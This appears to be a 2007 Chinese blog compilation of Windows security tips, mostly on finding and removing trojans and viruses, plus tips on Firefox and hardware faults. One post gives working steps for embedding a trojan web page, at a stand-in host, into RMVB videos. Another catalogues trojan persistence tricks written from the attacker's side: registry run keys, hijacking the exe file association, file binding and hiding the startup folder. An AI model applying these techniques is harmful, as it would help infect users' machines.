　　说明：如果用惯了DiskPart，你就会觉得它的设计很符合人们的思维习惯，一般是先指定焦点，再进行操作，操作过程中还可随显示分区状态以便掌握进度。输入Help可查看到所有的子命令，输入有错时，它还会自动列出子命令列表及简要说明，将你引导到正路上来。另外，安装Windows 2003后，大家最熟悉的分区魔术师(非服务器版)不能正常运行，使用Diskpart确实是一个不错的选择。

　　如前所述，在Diskpart下进行任何操作前都必须指定焦点，即指明对哪一对象进行操作，这一方面使的我的操作逻辑清楚，但另一方面，如果对误指定了焦点又执行了破坏性的命令，如删除分区等，会造成无可挽回的损失。所以，请随时用List命令查看各分区状态，焦点分区前有一个星号(*)标志。

　　此外，你还可以借助安全模式来完成病毒的清除工作。比如有的杀毒软件能报告病毒但却不能清除甚至隔离、删除，遇到这种情况，可启动到安全模式下尝试删除这些病毒文件。当然，这里我们也只是介绍了一些比较常见的安全模式用途，算是抛砖引玉吧，希望各位能够在实际的电脑使用中，逐步体验其更多的便捷之处。

看RMVB影片也中招查杀媒体文件病毒

2007-01-28T22:40:00.002+08:00

最近来子常常收到一些读者的消息，说是从网上下载的许多RMVB影片，在播放时常常会自动弹出一些广告网页窗口，甚至有一些是木马网页。有不少读者打开了网页木马而中招，因此向来子抱怨，为什么不介绍一下如何清除RMVB影片中的弹出窗口。本期文章就向读者介绍一下这方面的知识，还大家的视频文件一个清白……

　　一、在RMVB视频中加入网页木马

　　在清除RMVB视频中的网页木马时，我们先简单介绍一下如何在其中加入网页木马。

　　步骤一:准备网页木马

　　如何制作网页木马就不多说了，本栏目已经介绍得太多了，这里假设网页木马地址为“http://www.xxx.com.cn/muma.html”。

　　步骤二:制作媒体信息文件

　　通过向RMVB影片中添加剪辑信息，可在视频播放时打开指定的木马网页。用记事本新建一个文本文件“muma.txt”，文件内容为:“u 00:01:00 00:01:00 http://www.xxx.com.cn/muma.html”，表示视频播放到1分钟时就自动打开指定的网页木马页面。

　　步骤三:将网页木马加入RMVB视频

　　下载安装“HelixProducerPlus9”程序，打开一个命令提示符窗口，执行如下命令即可将网页木马加入指定的RM视频中:

　　“"C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe" -i c:\龙虎门.rmvb -e xinxi.txt -o C:\龙虎门2.rmvb”

　　二、清除视频中的木马

　　要防范上面这类夹带了网页木马的RMVB文件，在播放前，只要去掉视频剪辑信息中的网页资料就可以解决问题了，方法很简单。

　　1.利用Helix Producer Plus去除网页木马

　　如果电脑中安装有软件“Helix Producer Plus”，可利用该软件来清除视频中夹带木马的剪辑信息。

　　首先用记事本建立一个名为“1.txt”的空白文本文件，然后在命令提示符窗口中执行如下命令:

　　“"C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe" -i C:\龙虎门.rm -e 1.txt -o C:\龙虎门2.rmvb”

　　命令执行后，就可以将原有RM视频中的剪辑信息覆盖，也就间接的清除了木马。

　　2.自动过滤木马——Real媒体过滤器

　　“realfilter.exe”(Real媒体过滤器)是一个解决RMVB视频网页木马问题的小工具，无需安装Helix Producer Plus，使用非常的方便。运行程序后，点击“源文件”按钮，指定要清除网页木马的RMVB视频文件;然后在“另存为”中指定保存路径，最后点击“开始过滤”按钮，即可开始清除Real视频中的各种网页木马和广告信息了。

　　如果设置了“显示过滤进度”项，那么可以看到“realfilter.exe”实际上是调用了Helix Producer Plus的“rmevents.exe”插件程序进行过滤清除的，在弹出的命令窗口中可以看到清除过滤进度。清除完毕后，弹出完成提示对话框，并显示清除了视频中的多少信息及文件减小的体积，现在得到的就是一个去掉木马网页或广告的干净视频了。

详细解说iexplore.exe是进程还是病毒

2007-01-28T22:40:00.001+08:00

iexplore.exe是Microsoft Internet Explorer的主程序。这个微软Windows应用程序让你在网上冲浪，和访问本地Interanet网络。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。iexplore.exe同时也是Avant网络浏览器的一部分，这是一个免费的基于Internet Explorer的浏览器。注意iexplore.exe也有可能是Trojan.KillAV.B病毒，该病毒会终止你的反病毒软件，和一些Windows系统工具，该进程的安全等级是建议删除。

　　这个东西可以说是病毒，也可以说不是病毒。

　　因为微软的浏览器就是IEXPLORE.EXE，但是它一般情况随系统被安装在C:\Program Files\Internet Explorer下面。那么，如果发现这个文件是在这个目录下面的，一般情况不是病毒，当然，不包括已经被感染了的情况;还有一种情况，就是IEXPLORE.EXE在C:\WINDOWS\system32\下面，那么这个十有八九都是病毒。

　　系统进程--伪装的病毒 iexplore.exe

　　Trojan.PowerSpider.ac 破坏方法:密码解霸V8.10。又称“密码结巴”。偷用户各种密码，包含:游戏密码、局域网密码、腾讯QQ账号和密码、POP3 密码、Win9x缓存密码及拨号账号等等。这个木马所偷密码的范围很广，对广大互联网用户的潜在威胁也巨大。

　　现象:

　　1、系统进程中有iexplore.exe运行，注意，是小写字母;

　　2、搜索该程序iexplore.exe，不是位于C盘下的PROGRAMME文件夹，而是WINDOWS32文件夹。

　　解决办法:

　　1、到C:\\WINDOWS\\system32下找到ixplore.exe 和 psinthk.dll 完全删除之。

　　2、到注册表中，找到HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion \\Run “mssysint”= iexplore.exe，删除其键值。

木马寄存方式收集

2007-01-28T22:39:00.001+08:00

第一招：利用系统启动文件

1 注册表 CurrentUser \ SoftWare \ Microsoft \ Windows \ CurrentVersion \ 下的所有run有关的子键

2 注册表 LocalMachine \ SoftWare \ Microsoft \ Windows \ CurrentVersion \ 下的所有run有关的子键

3 注册表 CurrentUser \ SoftWare \ Microsoft \ Windows NT \ CurrentVersion \ 键名为load的字符型数据

4 注册表 LocalMachine \ SoftWare \ Microsoft \ Windows NT \ CurrentVersion \ 键名为load的字符型数据

第二招：关联类型文件使木马运行

在业内著名的木马冰河就是这样启动的，它关联的是exe类型的文件，方法如下：（以下方法是我在我的win2003中测试通过的）
注册表 ClassRoot 下的.exe 文件打开方式为exefile，我们就找到exefile子键，然后exefile该键下有一个shell子键，在shell子键下有open子键，在open下有command子键，command里有default键,value为"%1" %* 我们把它改变为木马路径 "%1" %* 就可以了

当然win2000 或 win98中是不一样的我刚才测试了冰河作者看来也是心狠手辣啊

第三招：文件捆绑使木马运行

捆绑和关联文件不同，关联是修改注册表，但捆绑类似于病毒的“感染”，就是把木马的进程感染到其他的执行文件上，业内著名木马“网络公牛 - Netbull”就是利用这种方法进行启动。

网络公牛服务端名称newserver.exe,运行后自动脱壳到c:\windows\system\checkdll.exe目录下，下次开机自动运行,同时服务端在运行时会自动捆绑以下文件：
win9x: notepad.exe write.exe regedit.exe winmine.exe winhelp.exe
winnt: notepad.exe regedit.exe reged32.exe drwtsn32.exe winmine.exe
并且自动搜索系统启动项程序，捆绑之。比如qq.exe realplay.exe
除非把以上文件全部删除，否则无法清除，但系统文件删除后系统就无法正常运行，所以大多数人只能重装系统。确实牛。

第四招：进程保护

两个木马进程，互相监视，发现对方被关闭后启动对方。技术其实不神秘，方法如下：

while (true)
{
System.Threading.Thread.Sleep(500);
//检查对方进程是否关闭，关闭的话再打开。
}

第五招：巧用启动文件夹
开始菜单的启动文件夹内的文件在系统启动后会随系统启动，假如将一个exe文件或exe文件的快捷方式复制到启动文件夹内，太明显，但设置隐藏属性后不会被系统启动。
有一个办法，将启动文件夹改名为启动a,并将该文件隐藏，然后再新建一个启动文件夹，将原启动文件夹内的所有内容复制到新建的启动文件夹，这样就可以了。（其实系统还是会启动原来的启动文件夹内的内rogn，也就是现在被改为"启动a"的文件夹，而现在我们新建的"启动"文件夹只是一个摆设而已，因为在这里的"启动a"对应着注册表local_machine\software\microsoft\windows\currentversion\explorer\startmenu内的common startup键值，当我们更该原来系统的启动文件夹的名字为"启动a"的时候该键值也会改为“C:\Documents and Settings\All Users\开始\Programs\启动a”）

另外可在local_machine\software\microsoft\windows\currentversion下建立RunServices子键来实现自启动，和run不同，run是系统启动后加载,runservices是系统登录时就启动

在系统根目录下放置Explorer.exe文件，在Explorer.exe文件中去启动正常的Explorer.exe文件，可以在C盘和D盘下都放上。

遭遇另类无法删除病毒的处理办法

2007-01-28T22:38:00.000+08:00

随着不限时宽带的普及，为了方便BT下载，很多朋友都爱24小时挂机。全天候的在线，这给一些病毒、木马“入侵”系统带来了极大便利，他们可以在半夜入侵我们的电脑，肆意为非作歹。近日笔者在帮助一位朋友杀毒的时候，就遭遇一个“无法删除的病毒”，下面将查杀经验与大家共享。

　　1.惊现病毒。朋友的电脑安装的是Windows XP专业版，近来常常彻夜开机用BT下载电影，没想到在一次开机的时候，Norton就报告在下发现病毒“exporer.exe”，不过使用Norton扫描后，虽然可以发现病毒，但Norton提示无法隔离和删除病毒文件。

　　2.查杀。一般来说，病毒如果无法被直接删除，大多是由于病毒进程在运行导致的，打开任务管理器，找到病毒进程“exporer.exe”顺利将其终止，按照Norton提供病毒文件路径，找到病毒文件后，按住Shift键右击选择“删除”，奇怪的是系统却提示无法删除文件，再次打开任务管理器，我已经确信病毒进程被终止了，而且也不是在写保护状态，为什么无法删除?我试图把文件夹删除，但同样遭到系统拒绝，重启电脑多次仍然是同样的结果。

　　后来笔者在查看“exporer.exe”属性(看看文件生成日期和大小，以便搜索一下病毒还有没有同伙)时，意外发现属性窗口还有一个“安全”标签，点击后可以看到在用户权限列表“特别权限”的拒绝选项被打上小勾，会不会是文件权限不够导致无法删除?单击的“高级”按钮，在弹出的窗口我看到一个“拒绝删除”的权限，单击“编辑”终于看到文件无法删除的真正原因了，原来当前用户的删除权限被施毒者设置为拒绝了，但是却允许“读取和运行，取消拒绝的权限后，返回文件属性窗口，勾选“允许完全控制”，单击“确定”退出后顺利删除“exporer.exe”。

　　小提示

　　文件(夹)属性“安全”标签只会在NTFS格式的分区出现，如果看不到此标签，打开我的电脑，单击“工具→文件夹选项→查看”，然后在高级设置选项下去除“简单文件共享(推荐)”前的小勾。

　　笔者在删除“exporer.exe” 后试图删除文件夹，遭到系统拒绝后，通过查看文件夹的“安全”属性，同样可以发现删除权限(删除子文件夹及文件、删除)被拒绝了，同上，取消这个限制后顺利把病毒“扫地出门”。对于文件(夹)，如果是由于权限原因被拒绝操作，一般将权限设置为“完全控制”即可。

　　小技巧

　　(1)权限是可以继承的，有时候打开某个文件安全属性标签后，可能在图4不会有“拒绝删除”权限，但是如果它的父文件夹设置了“拒绝删除子文件夹及文件”，该文件还是无法被删除的，解决方法是将文件权限设置为完全控制。

　　(2)文件权限是和文件所有者相关联的，对于办公室多帐户电脑，一些别有用心的人可能还会将木马和用户对应起来(以针对电脑操作水平较低帐户，警惕性不高易于窃取资料)，如果发现木马毒会和对应帐户关联，即有些用户登录后木马会运行，而有些则不会(木马文件权限被设置为禁止读取和删除)，这时可以用系统管理员身份登录，强行将木马文件所有者更改为当前用户，然后设置为完全控制将木马删除。

　　(3)一点经验。Windows XP/2000的文件(夹)权限，是系统一项特殊功能，它允许灵活设置不同用户的不同权限，一些牧马者通过将病毒程序文件设置为允许“读取和运行”、拒绝“删除”，从而实现更好的“自我保护”。由于更改文件权限操作比较复杂，施毒者一般要在宿主机上亲自操作，对于喜爱全天候挂机的朋友，安装一款防护能力较好的防火墙，关闭一些不必要端口，可以有效防止此类病毒的袭击，如果发现病毒无法删除，在终止进程情况下，大家一定要看看文件权限是否被更改了。

简介木马万能查杀法

2007-01-28T22:37:00.000+08:00

很多对安全知识了解不多的菜鸟们，在计算机中了“木马”之后就束手无策了。虽然现在市面上有很多新版杀毒软件都可以自动清除大部分“木马”，但它们并不能防范新出现的“木马”程序。因此，查杀木马，最关键的还是要知道“木马”的工作原理。相信你看了这篇文章之后，就会成为一名查杀“木马”的高手了。

　　“木马”程序会想尽一切办法隐藏自己，主要途径有:在任务栏中隐藏自己，这是最基本的办法。只要把Form的Visible属性设为False，ShowInTaskBar设为False，程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动，黑客当然不会指望用户每次启动后点击“木马”图标来运行服务端，“木马”会在

　　每次用户启动时自动装载。Windows系统启动时自动加载应用程序的方法，“木马”都会用上，如:启动组、Win.ini、System.ini、注册表等都是“木马”藏身的好地方。

　　下面具体谈谈“木马”是怎样自动加载的。在Win.ini文件中，在[WINDOWS]下面，“run=”和 “load=”是可能加载“木马”程序的途径，必须仔细留心它们。一般情况下，它们的等号后面应该什么都没有，如果发现后面跟有路径与文件名不是你熟悉的启动文件，你的计算机就可能中“木马”了。当然你也得看清楚，因为好多“木马”，如“AOL Trojan木马”，它把自身伪装成 command.exe(真正的系统文件为command.com)文件，如果不注意可能不会发现它不是真正的系统启动文件(特别是在Windows窗口下)。

　　在System.ini文件中，在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell= explorer.exe程序名”，那么后面跟着的那个程序就是“木马”程序，就是说你已经中“木马”了。注册表中的情况最复杂，通过regedit命令打开注册表编辑器，在点击至:“HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”目录下，查看键值中有没有自己不熟悉的自动启动文件，扩展名为EXE，这里切记:有的“木马”程序生成的文件很像系统自身文件，想通过伪装蒙混过关，如“Acid Battery v1.0木马”，它将注册表“HKEY-LOCAL-MACHINESO FTWAREMicrosoftWindowsCurrentVersionRun”下的Explorer键值改为Explorer= “C:WINDOWSexpiorer.exe”，“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序，如:“HKEY-CURRENTUSERSoftwareMicrosoftWindowsCurrentVersionRun”、“HKEY-USERS****SoftwareMicrosoftWindowsCurrentVersionRun”的目录下都有可能，最好的办法就是在“HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名，再在整个注册表中搜索即可。

　　知道了“木马”的工作原理，查杀“木马”就变得很容易，如果发现有“木马”存在，最有效的方法就是马上将计算机与网络断开，防止黑客通过网络对你进行攻击。然后编辑win.ini文件，将[WINDOWS]下面，“run=“木马”程序”或“load=“木马”程序”更改为“run=”和“load=”;编辑system.ini文件，将[BOOT]下面的“shell=‘木马'文件”，更改为:“shell=explorer.exe”;在注册表中，用regedit对注册表进行编辑，先在“HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名，再在整个注册表中搜索并替换掉“木马”程序，有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下的“木马”键值删除就行了，因为有的“木马”如:BladeRunner“木马”，如果你删除它，“木马”会立即自动加上，你需要的是记下“木马”的名字与目录，然后退回到MS-DOS下，找到此“木马”文件并删除掉。

巧妙设置系统邮件病毒奈我何？

2007-01-28T22:36:00.000+08:00

最近邮件病毒又多了起来，几乎每一天都收到2到4封病毒邮件。邮件的主题多是英文的，标题颇具诱惑力。

　　其实邮件病毒也没有什么可怕的，只要巧妙地设置收件系统，配合软件杀毒，几乎可以避免所有的邮件病毒的侵害。

　　我的老办法是:杀毒在后，防患未然。

　　我总结了一年来和邮件病毒打交道的经验发现:凡带病毒的邮件大多带附件。并不是打开附件时病毒才发作，只要你点中邮件的标题就会“冒出”病毒来。如果你直接到邮箱里收邮件，不打开带有附件的邮件就是了。可我用的是Outlook Express 5邮件收发系统，有时收完邮件后，打开收件箱，邮箱往往默认打开最新收到的邮件，若恰好这个邮件带有病毒就麻烦了。我是一个小心的人，如果误打开了病毒邮件，尽管杀毒软件提示:病毒已拆除，可我总不放心。

　　几经教训，几番改进，几番试用。如今我已找到了三种通过巧设收件系统，防邮件病毒的方法，介绍给网友们，供参考。

　　设置收件箱

　　更改系统的时间，比如改为2099年1月1日。然后，自己写一封简单的邮件(不妨称为“假新邮件”)保存到“草稿”里。然后，选中“草稿”里的这封“假”邮件，点右键，选择“复制到文件夹”，将该“假”邮件复制到“收件夹”里，此时“假”邮件的创建时间就是你系统的设置时间。

　　注意:不要通过给自己发送邮件，再收到“收件箱”里。因为发送后再收到的邮件，时间并不是你编写邮件的时间，而是正确的时间，这就没有价值了。

　　这样，你的所有新邮件，对于这封“假新邮件”，总是旧的。不管你接收邮件时打不打开“收件箱”，收到的新邮件，都不会被默认打开。从此，你可以大摇大摆地进入“收件箱”收邮件，看看有没有有用的带附件的邮件。对带附件的陌生邮件，一律删除。

　　删除方法:先选中你的有用的邮件，点“右键”，选择“复制到文件夹”(注意:不可用“移动到文件夹”的方法)，选中你已有的一个文件夹，点击[确定](到此，你的有用邮件已保存好了);然后，[编辑]→[全选]，再[编辑] →[删除]，这时候，收件箱中的所有邮件已全到了“已删除的邮件”箱中。再点[编辑]，来个“清空已删除的邮件”，最后再清空“回收站”即可。

　　注意:在“清空已删除的邮件”后，别忘了从草稿夹里再复制一封“假新邮件”到“收件夹”里。

　　设置“已删除邮件”箱

　　打开[工具]→[邮件规则]→[邮件]→[新建]，在“1.选择规则条件”中选中“若邮件带附件”;在“2.选择规则操作”中选中“删除”;最后点[确定]。自此之后，只要是带着附件的邮件，一律自动放到了“已删除邮件”箱里。

　　仿照方法一，在“已删除邮件”箱里，放一封“假新邮件”。你若想进入“已删除邮件”箱里看看有没有有用的带附件的邮件时，什么也不用多想，打开“已删除邮件”箱即可。不用担心会打开了带病毒的邮件，因为默认打开的是你预先放入的“假新邮件”。

　　进入后，若有有用的邮件，则用复制的方法再创建一封到别的邮件箱里。

　　注意:不可用“移动到文件夹”的方法)，“已删除邮件”箱里含陌生的带附件的邮件在内的所有邮件，都毫不客气地删除掉。点开“编辑→清空已删除的邮件”。老办法最后再来个垃圾大扫除，清空“回收站”。

　　需要说明的是:1和2两种方法即可以单用也可以合用，互不影响。我建议合用。

　　在使用这两种方法时，假如你忘记了预先放入“假新邮件”也不要紧，收完邮件再放也不迟，因为默认打开的邮件是创建时间最晚的最新的邮件，与你放入邮件的先后顺序无关。假如你是按方法一说的时间设置新邮件，你的“假新邮件”在今后96年内都是创建“最晚”、“最新”的邮件。

　　不接收带附件的邮件

　　你若平时很少收到朋友的带附件的邮件，可选择，不接受带附件的邮件。

　　打开[工具] →[邮件规则] →[邮件] →[新建]，在“1.选择规则条件”中选中“若邮件带附件，在“2.选择规则操作”中选中“从服务器上删除”(不是“删除”)，再点[确定]即可。这样，带附件的邮件在服务器上就被拆除了，不会进入你的邮件接收系统，相对而言就更保险了。不足之处就是丢掉了的邮件中有可能还有有用的带附件的邮件。

Firefox 参数实用应用技巧六则

2007-01-28T22:22:00.000+08:00

Firefox是一款比较流行的浏览器，不过，你知道吗?它有较多的参数，好好地利用可以为我们省不少主。

　　1.Firefox资源随身带

　　Firefox的设置默认保存在系统盘，系统崩溃后恢复起来并不方便。只要我们有移动硬盘，先打开C:\Documents and Settings\用户名\Application Data\Mozilla\Firefox\Profiles文件夹下的诸如zg0g9u3g.default子文件夹中的所有内容拷贝到移动硬盘某文件夹下，如d:\firefox\profile。接下来，右击文件，选择“发送到”→“桌面快捷方式”，再右击桌面上新建的快捷方式，在c:\Program Files\Mozilla Firefox\firefox.exe后面加上-profile d:\firefox\profile(如图1)，以后双击此快捷方式打开Firefox，将会自动将设置保存在移动硬盘上，这样我们就可以在别人电脑上用上自己的设置，包括收藏夹、插件等。

2.随时重建配置文件

　　如果你不喜欢上面的参数方式，可以这样来自行创建配置文件。先退出Firefox，然后进入c:\Documents and Settings\用户名\Application Data，将Mozilla文件夹删除掉。再利用上面的方法在桌面上新建一个指向Firefox的快捷方式，右击之，选择“属性”，而后查看弹出窗口的“快捷方式”标签页，在“目标”选项中添加参数“-p”(如图2)。确认操作后，双击该快捷方式启动Firefox，会弹出“Firefox-选择用户配置文件”对话框(如图3)。单击“创建配置文件”按钮，然后按照向导的提示为配置文件命名并选择存储路径，此时不要将存储路径保存在系统盘上(如图4)。完成后，单击“完成”按钮，返回如图4所示的窗口，选中“启动时不询问”复选项，然后再选中我们创建的设置项，然后单击“启动Firefox”，以后在任何时候打开Firefox，将会使用我们创建的设置了，这样就可以将配置内容保存在其他盘上了。

3.批量安装插件

　　如果你已经习惯了Firefox的很多插件，想批量地安装它们，不用一个一个地将它们拖放到Firefox的窗口中。我们先将所有的xpi文件下载到一个文件夹下，如d:\xpi文件夹中，再写上一个名为xpiinstall.bat批处理文件，也将它保存到d:\xpi文件夹下，其语句如下:

　　"C:\Program Files\Mozilla Firefox\firefox.exe" -install-global-extension "d:\xpi\Adblock-V5.d2.xpi"

　　"C:\Program Files\Mozilla Firefox\firefox.exe" -install-global-extension "d:\xpi\AddBookmarkHere-0.5.2.xpi"

　　"C:\Program Files\Mozilla Firefox\firefox.exe" -install-global-extension "d:\xpi\FlashGot-0.5.5.xpi"

　　"C:\Program Files\Mozilla Firefox\firefox.exe" -install-global-extension "d:\xpi\IeView-0.8.4.xpi"

　　"C:\Program Files\Mozilla Firefox\firefox.exe" -install-global-extension d:\xpi\Sage-1.3.xpi

　　"C:\Program Files\Mozilla Firefox\firefox.exe" -install-global-extension "d:\xpi\SuperDragAndGo-0.2.4.xpi"

　　"C:\Program Files\Mozilla Firefox\firefox.exe" -install-global-extension "d:\xpi\tabextensions_en.xpi"

　　如图5所示，双击此批处理文件，即可批量安装这些插件。

另外，如果我们有Firefox的主题，也可以利用-install-global-theme参数来批量安装，相信大家一定会照猫画虎，非常简单。

　　4.启用Firefox安全模式

　　装了一个插件后，Firefox启动总是没有响应，有时出错。这时，我们可以在桌面建立一个快捷方式，在其命令行后面添加 -safe-mode参数(如图6)。双击此快捷方式，将会禁止掉所有的插件和书签，此技巧可用于临时上网使用(因为之后我们还必须进行修复才能够使用)。

5.以指定大小启动

　　如果你在Linux下，想每次将Firefox以指定大小启动，只要在其快捷方式后面添加-width X -height Y &项即可，这样Firefox将会以X为宽带，Y为高度来启动。

　　6.不显示启动画面

　　在快捷方式后面添加-nosplash或-quiet，双击后将不会显示Firefox的启动画面了。

清除猖狂的Sxs.exe病毒

2007-01-28T22:17:00.000+08:00

针对症状，我先上网找了相关的资料，首先，要显示隐藏文件

　　在这个:HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\

　　Advanced\Folder\Hidden\SHOWALL，将CheckedValue键值修改为1

　　还是没有用，隐藏文件还是没有显示，仔细观察发现病毒它有更狠的招数:它在修改注册表达到隐藏文件目的之后，为了稳妥起见，把本来有效的DWORD值CheckedValue删除掉，新建了一个无效的字符串值CheckedValue，并且把键值改为0(如图)!这样你以为把0改为1就会万事大吉，可是故障依旧如此!也就难怪出现以上的现象了。

　　正确的方法是:先检查CheckedValue的类型是否为REG_DWORD，如果不是则删掉“李鬼”CheckedValue(例如在本“案例”中，应该把类型为REG_SZ的CheckedValue删除)。然后单击右键“新建”--〉“Dword值”，并命名为CheckedValue，然后修改它的键值为1，这样就可以选择“显示所有隐藏文件”。

　　经过刚才一番操作，我的电脑里的隐藏文件可以看到了，假如上述方法无效，那么可能是 HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden的数据丢失或损坏，遇到这种情况，请在Windows XP安装光盘中找到Hidden.reg，双击它，然后单击“确定”按钮，将该完整的注册表数据添加到当前系统的注册表中即可。(备注:可是我手头上的XP安装光盘找来找去都没有这个东西，假如你不幸遇到这种情况，可以尝试使用这种方法:找一部没有问题的电脑，把

　　HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden这个分支导出(假如命名为1.reg);然后备份有问题的电脑的该注册表分支;最后把1.reg导入看能否解决问题。我没试过所以不知道会不会出现什么意外，祝各位好运!假如某人能够在XP安装光盘里找到这个东西，请把文件里面的内容复制到评论里面，并且注明该XP安装光盘有没有打过SP1或者是SP2，谢谢!)

　　我看到在我的D:E:F:这些盘中(除了c盘)都出现了autorun.inf和sxs.exe两个文件，删除又再生.而且U盘插进去也出现这两个文件。此时杀毒软件一直是无法启动，我把金山的换成江民的，还是没用，看来是病毒限制了杀毒软件的运行，所以首先要把病毒的自动运行关掉，我也找了网上的资料，不过我试了，没有用，找不到rous.exe,我提供给你们，自己去试一下看看!

　　你这是修改过的ROSE病毒

　　可以结束SXS的进程删除，记住，用鼠标右键进入硬盘

　　同时按下Ctrl+Shift+Esc三个键打开windows任务管理器

　　选择里面的“进程”标签

　　在“映像名称”下查找“sxs.exe” 但击它再选择“结束进程”

　　一定要结束所有的“sxs.exe”进程

　　打开我的电脑单击工具菜单下的“文件夹选项”

　　单击“查看”标签把“高级设置”中的

　　“隐藏受保护的操作系统文件(推荐)”前面的勾取消

　　并选择下面的“显示所有文件和文件夹”选项

　　单击“确定”

　　用鼠标右键点C盘(不能双击!) 选择 “打开”

　　删除C盘下的 “autorun.inf”文件和“sxs.exe”文件

　　用鼠标右键点D盘选择 “打开”

　　删除D盘下的 “autorun.inf”文件和“sxs.exe”文件(另外有个文件也是，是个.exe 同样删了它)

　　……

　　以此类推删除所有盘上的 AUTORUN.INF文件和“rose.exe”文件

　　单击开始选择“运行” 输入 "regedit"(没有引号) ，回车

　　依次展开注册表编辑器左边的我的电脑>HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run

　　删除Run项中的 ROSE (c:\windows\system32\SXS.exe)这个项目

　　关闭注册表编辑器

　　然后重新启动计算机

　　删除硬盘上是ROSE:

　　按下shift键不放插入U盘直到电脑提示“新硬件可以使用”

　　打开我的电脑

　　这时在U盘的图标上点鼠标右键选择“打开” (不要点自动播放或者是双击!)

　　删除 SXS.exe和autorun.inf文件病毒就没有了

　　上面我说了这个方法对我没有用!sxs.exe没有专杀,现在只能通过注册表杀毒

　　打开注册表“regedit”,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

　　有些网友说删除Run项中的 ROSE (c:\windows\system32\SXS.exe)这个项目

　　我找了一下没找到这个Run项目，但是我看了一下在Run里面有两个"SoundMam"，而且后面给的数值不一样，一个给的是“C:\\WINDOWS\\system32\\SVOHOST.exe”另一个是“SOUNDMAN.EXE”我想大家也发现了，肯定有问题，我看了一下，只有后面一个是正确的，前一个是豪杰超级解霸的“自动播放伺服器”的程序，看来病毒是加到这个里面了，借助自动播放到处传播!(这是我认为的，不知道对不对)于是就删除了这个项，退出注册表，打开杀毒软件，可以使用了，只是在一般杀毒时，还是找不到sxs.exe的，我用的是江民的，他有未知病毒扫描，在那里里面可以发现的，他是一种“硬盘蠕虫病毒”，删掉就行了，本来我是想截屏给大家看看的，可惜我重启了，没复制下来，哪位朋友补充一下在下面!感谢!

　　那还剩下autorun.inf，直接到各个硬盘删就可以了，再清空回收站就可以了，其他的都正常了，可能还有些网友系统可能出现些问题，如豪杰超级解霸的“自动播放伺服器”不能使用了，我的建议是:不要用了，就是他坏的事!要是你非要用就重新装吧!最后重新启动，可以了!

电脑故障应急处理宝典

2007-01-28T22:16:00.000+08:00

朋友们在使用电脑的过程中，难免会遇到许多的突发故障，这些故障的起因可能是软件原因造成的，也可能是硬件故障引发的，或是其它的因素……那么，我们这些初级的电脑用户们又该如何应对这些事件呢，请看下文：

　　遭遇停电

　　现象：显示器，主机，音箱等会在一瞬间“强行关闭”。

　　现象分析：这是突然“停电”造成的。由停电的瞬间产生的电压波动会冲击电脑硬件的芯片，电路，电阻等。而一旦停电时您正在进行磁盘读写操作，则有可能产生坏道，或当你在编写文稿时，则数据资料就会丢失……

　　应当之策：配电脑时选配个品牌电源，这样能最大限度的从电源上减小电压波动对硬件造成的不良影响。停电后，关闭所有电源，以防下次来电时显示器和部份ＡＴＸ电源同时启动，这样会造成对硬件的不良损害。当您用WORD编辑文稿时，用上WORD的自动保存功能。如果停电的瞬间恰好您在对磁盘进行操作，建议您下次开机不要在启动时跳过磁盘检测，检测有无产生坏道。一旦发现坏道，则用NORTON，PQMAGIC等工具软件来修复或屏蔽坏道。另外，如果您经济上许可，建议选配一个UPS，为电脑提供一段时间的断电保护。

　　自动关机

　　现象：电脑在正常运行过程中，突然自动关闭系统或重启系统。

　　现象分析：现今的主板对CPU有温度监控功能，一旦CPU温度过高，超过了主板BIOS中所设定的温度，主板就会自动切断电源，以保护相关硬件。另一方面，系统中的电源管理和病毒软件也会导致这种现象发生。

　　应当之策：上述突然关机现象如果一直发生，先确认CPU的散热是否正常。开机箱目测风扇叶片是否工作正常，再进入BIOS选项看风扇的转速和CPU的工作温度。发现是风扇的问题，就对风扇进行相关的除尘维护或更换质量更好的风扇。如果排除硬件的原因，进入系统，从“吻到死”的安装光盘中覆盖安装电源管理，再彻底查杀病毒。当这些因素都排除时，故障的起因就可能是电源老化或损坏，这可以通过替换电源法来确认，电源坏掉就换个新的，切不可继续使用，会烧毁硬件的。

　　系统当机

　　现象：桌面被锁定，鼠标不能动，严重时连热启动（ALT+CTRL+DEL）都不行。还有就是蓝屏现象。

　　现象分析：“吻到死”系统自身的BUG以及各软件间的兼容性问题是该故障的原因，也可能是用户同一时间运行了过多的大程序，从而导致进程阻塞，引发当机。

　　应对之策：当机分2种，真当和假当，二者区分的最简单方法是按下小键盘区的Numlock键，观察其指示灯有无变化。有，则假当；反之，真当。假当可以同时按下ALT+CTRL+DEL在出现的任务列表里选定程序名后标注没有响应的项，单击结束任务。真当，只有冷启动了。对于蓝屏，在按下ESC键无效后，选择重启，按机箱面板上的复位键。对于兼容性问题，可以从卸载“问题”软件和更新主板BIOS和相关主板驱动程序上来解决。

　　病毒发作

　　现象：系统运行缓慢，当机，非法操作，硬盘灯乱闪，经常蓝屏，以及莫名奇妙的系统提示……

　　现象分析：病毒实质上是一种恶意的电脑程序代码，病毒通过大量的自身复制，同时在系统中隐秘运行，占有系统资源，严重的还会对软件和硬件造成破坏，如CIH，硬盘锁等。

